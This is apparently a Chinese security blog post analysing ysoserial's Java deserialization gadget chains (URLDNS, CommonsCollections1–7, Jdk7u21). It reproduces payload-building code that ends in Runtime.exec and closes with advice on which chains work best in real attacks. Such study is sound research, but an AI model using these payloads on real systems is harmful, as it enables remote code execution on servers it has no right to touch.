ysoserial payload分析

Posted by kingkk on 2020-02-08

URLDNS

先从最简单的开始,根据ysoserial中的gadget提示,可以比较容易的找到触发过程

1
2
3
4
5
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

HashMap中重写了readObject方法,在最后放置key、value时有一个对key的hash操作

1
putVal(hash(key), key, value, false, false);

里面调用了key的hashCode方法

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

在URL的hashCode中,假如hashCode!=-1,则会调用handler的hashCode方法,去计算hash

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

handler是一个抽象类,但是实现了hashCode方法,里面对传入的url进行了getHostAddress
这里就会发送一次DNS请求

1
InetAddress addr = getHostAddress(u);

由于比较简单,我自己也尝试构造了下

  • 由于hashCode是private,所以要用反射修改下值
  • set操作要在put之后,因为put时会重新计算一遍hashCode
1
2
3
4
5
6
7
8
Map<URL, String> map = new HashMap<>();
URL url = new URL("http://dns.kingkk.com");
Class<?> clz = URL.class;
Field f = clz.getDeclaredField("hashCode");
f.setAccessible(true);
map.put(url, "payload");
f.set(url, -1);
return map;

CommonsCollections1

基于3.1版本的payload@Dependencies({"commons-collections:commons-collections:3.1"})
看了下ysoserial中给的gadget信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

emmm,这回换一种方式,先从LazyMap开始看(一个原因也是因为它是第一步进入Commons-Collections的类)
来到get方法可以看到有个if分支是调用了transform

factory是一个Transformer接口

ChainedTransformer正好就是个实现了Transformer接口的类
它的transform实现就很有意思了
将成员变量iTransformers数组中的类,递归调用transform,类似于reduce的操作

再来看InvokerTransformertransform实现
对于invoke操作来说,method、input、iArgs都是可控的(因为都是成员变量或者成员变量可控的)
这样就意味着可以调用任意类的任意方法

感觉后面transformer的调用比较好比理解,前半部分AnnotationInvocationHandler的调用就更有意思了
需要补充一些Java动态代理的知识点,这里就不展开讲。简单来说就是动态代理之后的方法调用会转移到invoke的调用上。
在这个payload中就是将readObject中的entrySet方法调用,转换成了invoke中的get方法,从而执行LazyMap的get方法,将readObject和get方法串联在一起(为什么不直接找一个readObject中调用了Map.get的?是不好找,还是说invoke的方法更类似于一种通用解?)

这里先来看前半部分AnnotationInvocationHandler的payload生成(按照自己的方式稍微调整了下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = createMemoizedInvocationHandler(mapProxy);

public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
InvocationHandler ih = createMemoizedInvocationHandler(map);
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(YsoserialTest.class.getClassLoader(), allIfaces, ih));

}

public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
String handleName = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> ctor = Class.forName(handleName).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return (InvocationHandler) ctor.newInstance(Override.class, map);
}

  • createMemoizedInvocationHandler: 很明显能看出是实例化AnnotationInvocationHandler一个实例(由于修饰符是默认的,不在同一个包下只能通过反射的方式)
  • createMemoitizedProxy:创建一个AnnotationInvocationHandler代理的Map实例

然后传递的变量也值得注意下,最后返回的是一个AnnotationInvocationHandler实例
并且handler的成员变量iTransformers也是一个由AnnotationInvocationHandler代理的Map
搞清楚这些之后,来分析逻辑就比较清晰了。

一开始应该就是调用到handler的reabObject方法,在这里调用了一次iTransformersentrySet方法

由于传入的iTransformers是个动态代理,所以会调用到处理器的invoke方法上,也就是AnnotationInvocationHandler的invoke方法
在invoke方法中调用了iTransformers的get方法

到这里,就将readObject和LazyMap的get方法连在一起了
需要注意的是这里传入的参数是不可控的(var4是被调用函数的名字)
所以这也就引出了另一个没有被介绍到的类ConstantTransformer
它的transform方法返回值与传参无关,是由成员变量决定的

这样子整个逻辑就差不多可以串起来了
通过AnnotationInvocationHandler的readObject触发到成员变量iTransformers的entrySet
由于代理的关系触发到invoke的逻辑,从而触发LazyMap的get方法
通过LazyMap的get方法,可以调用成员变量的transform方法,从而触发到ChainedTransformer的transform
ChainedTransformer的transform可以以reduce的方式去调用Transform数组的transform方法
由于传入的key不可控,所以通过ConstantTransformertransform返回一个可以由成员变量控制的值
这样reduce的第一次由ConstantTransformer返回Runtime.class类
第二次由InvokerTransformer执行Runtime.class.getMethod("getRuntime")返回getRuntime方法
第三次由InvokerTransformer执行Method.invoke(getRuntime, null)(通过反射执行了Runtime.getRuntime静态方法)返回Runtime实例
第四次由InvokerTransformer执行Runtime实例的exec方法

这样整个命令执行过程就完成了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 String[] execArgs = new String[]{"calc"};

final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{new ConstantTransformer(1)});
// real chain for after setup
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, execArgs)};

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = createMemoizedInvocationHandler(mapProxy);
setFieldValue(transformerChain, "iTransformers", transformers);

return handler;

相较于ysoserial中的payload,Transfrom数组中少了个new ConstantTransformer(1),亲测是可以去掉的

本来之前还有个疑问就是,为什么不直接一开始就传个new ProcessBuilder("cmd")对象,然后直接执行start方法即可,这样payload也会更简单。
亲手试了之后会发现ProcessBuilder类由于没有实现Serializable接口,从而不能进行反序列化。(Runtime也是同理)
但是Class类这些反射库文件都是实现了Serializable接口的,所以只能通过比较繁琐的反射方式来执行命令。

还有一个小问题就是这个payload在高版本的java8环境中是无法执行的。
参考了下这篇文章前半部分的内容http://www.secwk.com/2019/11/14/14183/
是由于在java8的某次更新中对AnnotationInvocationHandler进行了修改 http://hg.openjdk.java.net/jdk8u/jdk8u-dev/jdk/diff/8e3338e7c7ea/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
jdk1.8_u40和jdk1.8_u112的对比就能看到,entrySet的调用变成了var4
原本var1.defaultReadObject();的调用也重写了

所以原本entrySet的invoke调用链也就断了,但是这个问题会在后面的Payload中被解决。(当然是找了条别的链)

看了下commons-collections4中的类,类名和方法都是类似的,只是其中增加了很多泛型的操作,并且LazyMap的decorate方法被移除了,并且LazyMap的初始化方法是default修饰符,所以需要用下反射来构造LazyMap类即可。(亲测,可用,得劲)
需要注意下引入的类名也变成了org.apache.commons.collections4.*

1
2
3
4
// 原本的 final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Constructor ctor = LazyMap.class.getDeclaredConstructors()[0];
ctor.setAccessible(true);
final Map lazyMap = (Map) ctor.newInstance(innerMap, transformerChain);

CommonsCollections2

基于4.0版本的payload@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
来看下ysoserial中给出的gadget信息,这回的信息相对简洁

1
2
3
4
5
6
7
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

这回commons-collections中的调用链到了TransformingComparator.compare()来触发InvokerTransformer.transform()
相较于之前ChainedTransformer.transform()方法来说,少了reduce的操作,只能调用一次transform方法。

所以,是如何通过一次invoke的调用,进行命令执行的,这里也是很有意思的部分
ysoserial中把这个封装成了Gadgets.createTemplatesImpl,可以详细看看这里是如何生成这个templates

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
final Object templates = Gadgets.createTemplatesImpl(command);

public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

这里就很nb了,可以看到是借助了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类
这个类里面有两个属性

  • _bytecodes: 是记载字节码信息的
  • _class: 根据_bytecodes的字节码信息生成的类

来到getTransletInstance方法中,可以看到有个defineTransletClasses()Class.newInstance()的操作

defineTransletClasses方法中可以看到,将_bytes字节码信息生成类信息,保存在_class

然后在getTransletInstance的方法中实例化了这个_class中的类
所以我们只要生成一个类,并在构造函数中调用命令执行函数即可。
ysoserial中用到了javassist来进行字节码操作,在初始化函数后面添加了命令执行的函数。

至于为什么生成的类是一个继承了AbstractTranslet抽象类的类,我想可能是跟getTransletInstance中生成的类加载器有关,这里的类加载器是TransletClassLoader

最后,由于getTransletInstance是个私有方法,既然是私有,则一定有调用的地方,就是在newTransformer方法中

到这里,一个invoke方法完成命令执行的gadget也就分析完了。这个template gadget在ysoserial中用的还是蛮多的,由于是位于rt.jar中的类,
貌似jdk8之后从rt.jar中分离出来变成了xalan.jar 应该是分离出来的包名为org.apache.xalan.xsltc,原生的是com.sun.org.apache.xalan.internal.xsltc这点从Gadget.createTemplatesImpl中应该可以看出
也算是一种单次invoke执行系统命令比较好的一个通用解。
触发流程如下

1
2
3
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
Class.newInstance() // 执行任意字节码的初始化方法

前面java.util.PriorityQueue的部分没有太多好分析的,最多可能调用栈会稍微深一点
但有一个需要稍微注意一下的是在设置queue的时候,设置了两份数据,虽然只有第一份是payload,但是去除第二份之后会使得逻辑走不到后面的部分。

1
2
3
4
5
6
7
8
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

可以来稍微看一下调用过程
最开始是PriorityQueue的readObject部分,调用了heapify方法

heapify中遍历queue调用siftDown(heapify中的 ((size >>> 1) - 1)也就是为什么要多加一个数据的原因 )

siftDown跟到siftDownUsingComparator

siftDownUsingComparator中触发了成员变量comparator.compare方法

之后的逻辑就可以和TransformingComparator.compare调用InvokerTransformer.transform最后通过template gadget命令执行的逻辑串起来了,就是一条完整的反序列化gadget。

完善一下之前的gadget信息就是

1
2
3
4
5
6
7
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newInstance()
... template gadget

CommonsCollections3

基于3.1的版本@Dependencies({"commons-collections:commons-collections:3.1"})
没给出gadget的信息,但是明显可以看到和CommonsCollections1的内容几乎大体一致
主要是transformers数组的部分改了下

1
2
3
4
5
6
7
8
Object templatesImpl = Gadgets.createTemplatesImpl(command);

// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};

来关注下新出现的两个类InstantiateTransformerTrAXFilter
InstantiateTransformertransform方法中可以看到,这里是进行动态实例化

然后是TrAXFilter的构造函数,对传入的templates调用newTransformer

这样的话就可以和之前的template gadget串起来了,在调用newTransformer时从字节码中加载类,然后运行构造方法,从而执行危险函数。

至于前面readObject的调用还是用的AnnotationInvocationHandler到动态代理然后LazyMap。
整体的调用流程:

1
2
3
4
5
6
7
8
9
10
11
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
new TrAXFilter()
TemplatesImpl.newInstance()
... template gadget

CommonsCollections4

基于4.0的版本@Dependencies({"org.apache.commons:commons-collections4:4.0"})
注释里有一句话

Variation on CommonsCollections2 that uses InstantiateTransformer instead of InvokerTransformer.

InstantiateTransformer代替了CommonsCollections4中的InvokerTransformer
这样触发链就变成了

1
2
3
4
5
6
7
8
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InstantiateTransformer.transform()
new TrAXFilter()
TemplatesImpl.newInstance()
... template gadget

CommonsCollections5

基于3.1的版本@Dependencies({"commons-collections:commons-collections:3.1"})
之前CommonsCollections1的时候有一个疑问,就是为什么不直接找一个在readObject时能触发get方法的类。
这回的gadget也正是解决了这个问题,至于后面LazyMap的调用还是和之前一致。
来看一下给出的gadget信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

可以看到这回的调用相对于之前的其实思路会更清晰,没有了动态代理之类的操作,调用逻辑更加直接。
来看到BadAttributeValueExpException的readObject方法
从字节流中读取val字段,然后调用toString方法。(但其实这里时有前提的,就是System.getSecurityManager() == null,也就是没有设置SecurityManager)

然后调用到TiedMapEntity的toString方法,并且在调用getValue时触发了Map.get


从而连接到LazyMap那条gadget

注释里还有条信息就是,也就是我们之前看到的if条件中,在jdk 8u76之后,需要没有设置security manager才能触发这条gadget。

This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70

CommonsCollections6

基于3.1的版本@Dependencies({"commons-collections:commons-collections:3.1"})
来看下gadget的信息(优化了下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

可以看到后面LazyMap的调用也是我们熟悉的,所以还是相当于找了个从readObject->Map.get的调用链
先来看到HashSet.readObject()
可以看到这里创建了个HashMap之后做了put的操作

put操作则会对key值进行hash,进而调用hashCode方法


TiedMapEntry的hashCode会进而调用到getValue方法,从而执行Map.get

CommonsCollections7

基于3.1的版本@Dependencies({"commons-collections:commons-collections:3.1"})
来看下gadget的信息(优化后)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

还是和之前一样,找了个另外的方式来触发Map.get

在HashTable的readObject方法中调用了reconstitutionPut,这里对table中key进行了equals的比较

于是触发到AbstractMap的equals方法,这里则会触发Map.get

于是和前面一样,将LazyMap.get的链连接起来即可。

看了下面这篇文章之后,发现实际构造时,有两个特别有意思的点之前没关注到。
http://blog.0kami.cn/2019/10/31/study-java-deserialized-commonscollections3-others/
1、HashTable的哈希冲突
可以看到在进入e.key.equals(key)前会有个短路条件e.hash == hash

就是说table中存在hash相同的key值,这也是ysoserial在构造的时候一个巧妙的地方

1
2
3
4
5
6
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

我们实际打印下”yy”和”zZ”的hashCode之后会发现哈希值是一样的,但是equals的判断逻辑中比较的并不是hashCode,而且另外的判断逻辑。

1
2
3
System.out.println("yy".hashCode()); // 3872
System.out.println("zZ".hashCode()); // 3872
System.out.println("yy".equals("zZ")); // false

这样只有当table中存在hash相同的key值时,才会进入到e.key.equals的逻辑中

2、删除自动生成的key/value
这里我的观念与参考文章的部分不同。
由于hashtable有两次put的操作,在第二次hashtable.put(lazyMap2, 2);时,会触发LazyMap的get方法,会新增一个key/value值相同的键值对。

这样在AbstractMap.equals()的逻辑中,由于两个map的长度不一致,直接返回false,不会进入到后面Map.get的逻辑当中

所以在payload中会有remove的操作,就是删掉自动生成的”yy”键值对。

1
lazyMap2.remove("yy");

Jdk7u21

唯一一个仅依赖rt.jar的gadget,只可惜版本限制太低,应该已经没什么人用jdk 7u21了吧。
有了前面的动态代理、template gadget的基础之后,这里的gadget理解起来也就轻松了很多。

个人感觉这回给出的gadget信息有点凌乱,不如直接来看触发的堆栈。
最开始的触发逻辑是HashSet.readObject和之前一样,进入了Map.put(但是这回map是个LinkedHashMap实例)
HashSet的内部由一个HashMap维护,这回gadget反序列化的是一个LinkedHashSet,内部则是LinkedHashMap

然后进入到HashMap的put逻辑当中(感觉这个逻辑很熟悉就是之前CommonsCollection7中HashTable的put逻辑,但有一点点小差异)

这回我们还是要和之前类似,触发到key.equals逻辑,简化之后这里的条件是

  • e.hash == hash(key) true
  • e.key == key false
    e就是当前map中的entry,key则是当前要put的值(value其实是没什么意义的)
    第二个条件比较容易成立,只要当前map中的key没有和要put的key相同即可(也就是指LinkedHashSet两次put的值不一致)
    第一个条件就是这个payload比较有意思的地方了,只能默默喊一声nb
    我们可以看下hashCode的具体实现
    由于useAltHashing默认为false,所以hash的值仅与k.hashCode()的结果有关

    这里的k我们设置的是一个被AnnotationInvocationHandler动态代理了的HashMap
    这样hashCode的逻辑就会动态代理到invoke的逻辑中
    invoke中当触发到hashCode时,会到hashCodeImpl方法中处理

this.memberValues就是被我们动态代理的HashMap,所以var2就是每个entry
对于单个键值对的HashMap来说,hashCode值就是127 * key.hashCode() ^ memberValueHashCode(value);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private int hashCodeImpl() {
int var1 = 0;

Entry var3;
Iterator var2 = this.memberValues.entrySet().iterator();
for( ;var2.hasNext(); ) {
var3 = (Entry)var2.next();
String key = var3.getKey();
Object value = var3.getValue();
var1 += 127 *
key.hashCode() ^
memberValueHashCode(value);
}

return var1;
}

由于任何一个数与0异或都是本身,所以我们可以在前面的LinkedHashSet中put这样一个HashMap

  • HashMap.key.HashCode == 0
  • LinkedHashSet.contains(HashMap.value) == false
    关于HashCode==0的字符串,网上就有不少https://stackoverflow.com/questions/18746394/can-a-non-empty-string-have-a-hashcode-of-zero
    比如ysoserial中用的就是String zeroHashCodeStr = "f5a5a608";
    到这里就可以成功解决了e.hash == hash的问题,从而可以进入到key.equals(k)的逻辑中
    由于key是个被AnnotationInvocationHandler动态代理了的HashMap,所以也会走到invoke逻辑中,进而走到equalsImpl
    需要留意一下这里传入的var3[0],也就是之前的k,就是LinkedHashSet中已经存在了值

    然后在equalsImpl函数中获取所有接口的方法,通过invoke动态调用
    所以只要将一开始存在LinkedHashMap中的key设置为TemplatesImpl,就可以动态调用到TemplatesImplgetOutputProperties方法

    getOutputProperties之后就是之前的template的gadget了。调用到newTransformer(),然后加载恶意字节码即可。

ysoserial中的payload
可以看到和之前分析的一致,HashSet中第一次add了被AnnotationInvocationHandler动态代理的TemplatesImpl实例类
第二次add的则是被动态代理的HashMap,格式为{zeroHashCodeStr -> templates} (两次put可能是为了保证一些属性不被更改)
可以注意到的是这回特地设置了type属性为Templates.class,就是为了在equalsImpl中触发Templates接口的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
final Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object

return set;

最后按照分析的逻辑来梳理一遍gadget

1
2
3
4
5
6
7
8
9
10
11
LinkedHashSet.readObject()
HashMap.put() // put {templates, object()}
...
HashMap.put() // put {(Proxy)HashMap{zeroHashCodeStr -> templates}, object() }
e.hash == hash(key) // (第一次put的template).hashCode() == 17 * zeroHashCodeStr.hashCode ^ (当前的map.value).hashCode()
Map(Proxy).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
... // tempalte gadget

之后不能用的原因就是官方在readObject中校验了type类型,只允许为Annotation.class

云玩家感言

对,没错,就是我,新链又不挖,只会说说。

分析之后发现很多CommonsCollections的gadget都是杂交而来的。
但也确实是个很好的办法,这样就相当于拓展了反序列化的触发点,只要能够触发到已存在的gadget上的一环,就可以接上之前的gadget。
比如网上看到的一些师傅找到的新链
http://blog.0kami.cn/2019/10/31/study-java-deserialized-commonscollections3-others/
http://blog.0kami.cn/2019/11/10/study-java-deserialized-shiro-1-2-4/
https://meizjm3i.github.io/2019/07/07/Commons-Collections%E6%96%B0%E5%88%A9%E7%94%A8%E9%93%BE%E6%8C%96%E6%8E%98%E5%8F%8AWCTF%E5%87%BA%E9%A2%98%E6%80%9D%E8%B7%AF%E4%B8%B2%E8%AE%B2/

都是在原来的基础上改动了之后变成了新的链,不过shiro中的commons-collection3的链确实还是比较有实际意义的。

如果还是以commons-collection为基础,感觉可以关注org.apache.commons.collections4.functors.*中所有的Transformer
里面远不止payload中的那些Transformer,以梅子酒师傅的gadget为例,就是重新找了个功能类似的Transformer

之前分析过的gadgetinspector就是一款自动化的gadget分析工具,通过数据流分析来寻找新的gadget
但是数据流分析比较重要的问题就是污点信息的跟踪,无法涵盖到尽可能多的函数时,污点信息很容易就跟丢了。
而且对于一些动态语法的跟踪,静态分析会显得无能为力,就像InvokerTransformer中的invoke就很难判断。
比较好的方式是从Map.get这些地方当作sink点来找新的链。

总结一下实战中的payload使用

实战中,真的需要漏洞利用时,一般都会选用CommonsCollections的利用链,但是实际使用时,一些利用链经常触发不了,这里稍微总结一下原因,和最优利用链。

CommonsCollections1

针对commons-collections3.1
前面也提到过了,对于高版本的jdk8是不能用的,那具体是多高呢,我也不清楚,总之本地测试是jdk8_u40是可以利用的,jdk8_u112是无法利用的。
所以总体来说,可以利用的版本还是比较低的。

CommonsCollection2

针对commons-collections4.0
比较好的一个触发链,11的版本中都可以用

CommonsCollection3

针对commons-collections3.1
和CommonsCollection1一样,前面也是调用的AnnotationInvocationHandler动态代理,导致1不能用的同时3也一样无法利用。

CommonsCollection4

针对commons-collections4.0
也是一样都可以触发

CommonsCollection5

针对commons-collections3.1
由于将1中的AnnotationInvocationHandler变成了BadAttributeValueExpException
从而解决了1中无法利用的问题

CommonsCollection6

针对commons-collections3.1
前半部分的触发链根据HashSet而来,从而也没有了版本限制

CommonsCollection7

针对commons-collections3.1
前半部分的触发链根据HashTable而来,从而也没有了版本限制

最后

所以,这样看来,其实只有1和3是某些情况下无法利用的。
所以之前看别人payload时经常选用的也就是4、5。
不过5貌似有个security manager的限制,多一事不如少一事,所以个人感觉还是推荐6、7.
一般来说,试了4、6之后都无法利用,就表示4.0和3.1的gadget不存在。(shiro那种自定义类加载的情况除外)

一般测试的话最好选用URLDNS,对环境要求小(shell沙箱之类的),而且没有限制
Jdk7u21最适合演示危害的时候用了,不用添加额外gadget,就能rce,坏处就是一些万一不支持jdk7就尴尬了。